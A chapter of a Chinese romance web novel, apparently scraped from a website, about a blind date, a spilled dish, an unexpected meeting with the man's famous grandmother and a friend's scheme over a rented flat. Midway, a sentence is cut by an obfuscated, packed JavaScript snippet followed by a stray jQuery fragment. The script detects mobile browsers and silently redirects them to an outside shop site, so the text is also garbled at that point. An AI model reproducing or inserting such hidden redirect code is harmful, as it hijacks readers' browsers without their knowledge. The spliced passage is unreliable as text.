感受到一股湿热的食物气息,宋知恩本能闭上了眼,事情发生的太快,甚至来不及做出反应。
服务员端的应该是红酒炖牛肉,汤汁浓郁,弥漫着一股红酒的香气。
等她睁开眼时,裙子已经遭殃了,温度有些烫,胸口传来轻微灼热的疼痛,更关键的是红酒渍很难洗掉,这条裙子算是废了。
她胸前湿润,黏糊糊的,浸染一大片红色,淅淅沥沥往下滴着肉汁,模样狼狈极了。
阮青山连忙脱下外套,给她披上了。
而服务员摔倒在地,一脸痛苦地捂着脚脖子:“好痛,我的脚好痛……”
“你怎么回事!”阮青山有些生气,大声呵斥服务员:“不会好好看路吗?”
“先生,对不起,对不起……”
服务员踉踉跄跄从地上爬起来,找了一大堆理由:“因为最近中秋,订单都爆了,整个餐厅都忙疯了,一直在加班,我也是累坏了,没看清脚下的路才摔倒了。”
阮青山不喜欢这副态度:“再累也得好好做事,毛手毛脚的,万一把人给烫着怎么办?”
服务员一个劲地鞠躬道歉:“实在对不起,请问这位女士,这件裙子多少钱?如果很贵的话,可不可以先送去干洗店?”
“这条裙子很便宜,不需要你赔,你先下去吧。”
宋知恩拉住了阮青山,替服务员求情:“我没什么事情,过节估计这些服务生也忙坏了,我们就没必要和她计较了。”
她也曾做过服务员,知道这一行很累,工资也很低,哪里赔得起她的裙子呢,所以不忍心计较。
“你真的没事?可是你……”
阮青山瞅了她一眼,立马移开视线,像是看见了不该看的东西,耳根甚至有些微微泛红了。
宋知恩狐疑低头看向自己,这件裙子是薄纱的,面料丝滑凉爽,现在胸前湿润了一大片,高耸的两团用肉眼清晰可见……
反应过来后,她也脸红的不行,连忙扣上了外套的纽扣,将上半身包裹的严严实实。
另一边,阮青山挥手打发掉了服务员:“行了,我们也没说让你赔,该忙什么就忙什么去吧。”
转头,又看见她这身实在不方便,也不能待在餐厅了,索性提议:“我家就住在附近,十分钟的车程,要不先带你去我家换一下衣服吧,顺便洗个澡?”
“不用麻烦你了,我去商场随便买一件就好。”
她刚拒绝了这场相亲,现在要怎么拉下脸接受他的好意呢?
“今儿是中秋,现在都快十点了,”阮青山抬腕看了一眼表,“商场早就打烊了,你去哪买衣服?”
“呃……”宋知恩一时语结。
阮青山又问:“再说你现在浑身黏糊糊的,走路都不方便,要怎么回去?”
这倒是提醒了宋知恩,如果以这副狼狈模样回家,这么晚了,该如何对袁野解释?
她表情有所松动,却有些犹犹豫豫,定不下来决心。
阮青山也知道她在犹豫什么:“不必感到拘谨,你换完衣服离开就好,很近的,十分钟就够了。”
“你放心,家里就我一个人住,不会被别人看见的。”
就在他说话时,宋知恩感觉有一股肉汁从胸口缓缓滑到了肚脐眼里,激的浑身起鸡皮疙瘩,黏糊糊的,难受极了。
她裹紧外套,只好妥协了:“那……麻烦你了。”
阮青山的家果然很近,车程连十分钟都没有,汽车拐了个弯,就驶进了小区。
宋知恩有些惊讶:“你住在缦和?”
“嗯,我家属于小户型。”
她暗自诧异他的财力,缦和北京这个地段非富即贵,连明星都买不起,里面住的不是商业大亨就是富绅名流,最小户型是四百平米。
她只听说过从未进来过,原来有钱人眼里的四百平米只是小户型。
他带她上了楼,刚打开门,里面就传来两个女人的嬉笑声,接着响起一阵脚步声:“青山,回来了?”
阮青山一惊,连忙将宋知恩挡在身后:“奶奶,这么晚了,你怎么还过来一趟?”
郑先宁还没回话,身后的保姆月兰就替她回答了:“今儿是中秋,奶奶和我做了一些月饼,寻思给你送过来几块,尝尝鲜!”
阮青山一听就知道这话是借口,怕是早就串通好了,知道他今晚会相亲,所以过来看看情况的吧?
郑先宁年纪大了,步履蹒跚,眼睛却很尖,一眼就瞅出了宋知恩。
“哟,这位就是今晚和你相亲的宋家闺女吧?快让我看看,都长这么大了!”
她一脸热情拉过宋知恩,亲昵地手挽手,越看越稀罕:“长得真漂亮!小时候长得黑黑瘦瘦的,如今出落的越来越漂亮了,又白又高,真是女大十八变。”
面前这位银发老太太看着有些面熟,宋知恩心跳漏拍了一秒,这位老妇人,该不会就是国画大师郑先宁吧?
她眼里都是惊讶,从前只在课本上见过的国画大师,居然在现实中见到了。
“奶……奶奶好。”
“哎呦,小智恩,这是怎么了?”郑先宁这才注意到她胸口的污渍:“衣服怎么脏成这样了?”
阮青山连忙替她解释:“刚刚在餐厅吃饭,服务员端菜毛手毛脚的,把汤汁洒在她身上了,我带她回来换一下衣服。”
“有没有烫着你?这服务员也太不小心了!”郑先宁心疼坏了。
宋知恩轻轻摇头:“奶奶,我没事,那道菜不算烫。”
“奶奶,智恩心地善良,为他人着想,”他看着她,眉眼温柔极了,“即使衣服脏成这样,也没有和服务员计较。”
郑先宁越听越高兴,笑起来眼睛眯成了一道缝。
“我之前还担心年轻人不乐意,现在看来你们相处的很好呢!”
阮青山的话痨估计是遗传的,郑先宁讲话也是没完没了:“当初我和你爷爷也是相亲认识的,相亲就是这样,多多接触一下,才能知道合不合适,如果性格没问题,差不多就可以结——”
“奶奶!”
阮青山连忙打断了她。
“人家身上还湿着呢,你就别再说了。”
郑先宁也意识到自己有些碍事了,笑着拉上保姆月兰,转头就往外走:“好好,赶紧让智恩去换衣服吧,奶奶就不打扰你们了。”
一边说着,还一边打着哈欠往外走:“天色不早了,我这个老婆子熬不住,先回家睡觉了……”
室内终于安静下来,客厅只剩下他们,还有桌上的一盒手工月饼,是郑先宁和月兰亲手做的。
阮青山拿来干净的毛巾,递给了她:“不好意思,我奶奶平时不过来,今儿是中秋,没想到送月饼会撞上,你先擦擦吧,我去给你找几件合适的衣服。”
宋知恩依旧处于震惊,迫不及待向他核实:“郑先宁居然是你奶奶?”
阮青山递毛巾的手楞在半空,面色微微一僵,眼里都是狐疑,她怎么一点都不记得小时候的事了?
宋知恩没察觉出他的异样,接过毛巾:“谢谢,我想直接去洗漱,你家浴室在哪?”
“在这边。”阮青山给她指了路:“你先进去,我去给你找换洗的衣服。”
半个小时后,宋知恩用最快的时间洗漱完毕,并换上了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597527|204345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给的衣服。
她走出来和他道别:“衣服我改天再还给你,谢谢你今天的帮忙。”
阮青山立马拿上车钥匙,像舔狗似的殷勤不已:“你是不是要走?那我送你回去。”
“不用!”宋知恩连忙摆摆手:“今天已经麻烦你很多了,我自己回去就行。”
“好吧。”
阮青山没有强求,帮她刷了电梯,宋知恩走进去,连一声道别都没有,就迫不及待逃之夭夭了。
他折返回家,脚步落寞孤独,不知下次该以什么理由和她见面呢?
就在这时,一阵手机铃声打散了他的失落。
“和大美女的约会结束了?”陈煜的声音透着八卦和欣喜:“你和小宋相处的怎么样?”
说起这个,阮青山就一脸不高兴,在电话里问罪:“奶奶今晚怎么也过来了?你们是不是提前串通好了,瞒着我安排了这场相亲是吧?”
陈煜心虚了,引开话题:“那你和小宋今晚到底处的怎么样?”
“人家压根没看上我,”阮青山一脸挫败,“可惜你们费尽心思也没用。”
陈煜明显一愣,语气有些急:“那你把钥匙给她了没?”
“什么钥匙?”
“这不是小宋刚刚回国,人生地不熟的,宋家那边让你妈帮忙租个房子,说小姑娘性格叛逆,很爱追星,希望我们能保证小姑娘的安全,不要让她瞎跑。”
“我就在你的小区帮她租了一个房子,钥匙也放在你家了。”
阮青山正愁下次见面的理由。
“钥匙在哪?”
不对,他转念一想——
“你怎么就恰好在我家小区租到了合适的房子呢?”
“陈煜,你们故意安排好的是不是?”
“近水楼台先得月嘛,”陈煜心虚解释,“万一你们相亲不合适,起码住在同一块,可以慢慢培养感情。”
可阮青山还是非常生气。
“陈煜,我们到底还是不是好兄弟,你和我家里长辈串通在一块,从头到尾瞒着我安排相亲,有你这样做兄弟的?”
陈煜有苦难言,毕竟受人指使:“青山,你这几年一直不肯谈恋爱,你妈也是着急……”
“恰好宋家小女儿回国,你妈觉得年龄合适,两家长辈一合计,就决定让你们先处着试试,你妈也是担心你,难不成真的要孤独一辈子?”
“我妈干嘛着急相亲的事儿?”阮青山更是百思不得其解:“我还这么年轻,就不能三十岁的时候再考虑?”
陈煜深吸一口气,语重心长道:“青山,你跟我说句实话,这几年一直不谈恋爱,是不是因为冷冬晴?”
“你妈就是担心这一点才着急的,你心里……是不是还忘不掉冷冬晴?”
“冷冬晴?”阮青山愣了愣,情绪瞬间失控:“我早就忘记她了!你别提这一茬!”
“好好好,我不提她,以后再也不敢提她了。”陈煜立马举手投降。
两人都没挂,手机沉默几秒,像是被“冷冬晴”这三个字冰冻住了。
阮青山在房间环视一圈,憋不住问:“你到底把钥匙放在哪了?”
陈煜噗嗤笑出声:“我就知道你这家伙!”
“钥匙就放在你家玄关,门口那个柜子上了,你找找,有没有?”
“嗯。”阮青山拿到了钥匙。
手机又传来陈煜的声音:“这下你不怪我瞒着你安排相亲了?喂,我们还是好兄弟吧?”
阮青山看着钥匙,轻轻笑了一声:“干得好,改天请你喝酒。”
陈煜也笑了:“我就知道你这家伙!”